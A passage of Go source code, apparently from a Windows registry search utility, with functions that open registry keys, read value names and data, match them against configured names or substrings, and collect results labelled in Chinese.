key, _ := registry.OpenKey(Hk, spath, registry.ALL_ACCESS)
valueNames, _ := key.ReadValueNames(0)
for _, name := range valueNames {
data := GetDatas(name, key)
result := fmt.Sprintf("项路径:%v \t\t 值名称:%v \t\t 数据测试:%v\n", path, name, data)
if !isInArray(&coller.TRVNResults, result) {
coller.TRVNResults = append(coller.TRVNResults, result)
}
}
}
func sonsNameScan(coller *Collector) {
for _, path := range coller.TRKNPathResults {
Hk, spath := GetHKandSpath(path)
key, _ := registry.OpenKey(Hk, spath, registry.ALL_ACCESS)
valueNames, _ := key.ReadValueNames(0)
for _, name := range valueNames {
data := GetDatas(name, key)
result := fmt.Sprintf("项路径:%v \t\t 值名称:%v \t\t 数据:%v\n", path, name, data)
if !isInArray(&coller.TRVNResults, result) {
coller.TRVNResults = append(coller.TRVNResults, result)
}
}
key.Close()
}
}
func RvlueNameScan(coller *Collector) {
for _, path := range coller.TRKNPathResults {
Hk, spath := GetHKandSpath(path)
key, _ := registry.OpenKey(Hk, spath, registry.ALL_ACCESS)
valueNames, _ := key.ReadValueNames(0)
for _, name := range valueNames {
if isInArray(&coller.NameKeys, "*") {
data := GetDatas(name, key)
result := fmt.Sprintf("项路径:%v \t\t 值名称:%v \t\t 数据:%v\n", path, name, data)
if !isInArray(&coller.TRVNResults, result) {
coller.TRVNResults = append(coller.TRVNResults, result)
}
} else {
for _, Tname := range coller.ReValueNames {
RvlueNameMatch(path, name, Tname, key, coller)
}
}
}
key.Close()
}
}
func RvlueDataMath(path string, name string, Tdata string, key registry.Key, coller *Collector) {
data := GetDatas(name, key)
if strings.Contains(data, Tdata) {
result := fmt.Sprintf("项路径:%v \t\t 值名称:%v \t\t 数据:%v\n", path, name, data)
if !isInArray(&coller.TRVDResults, result) {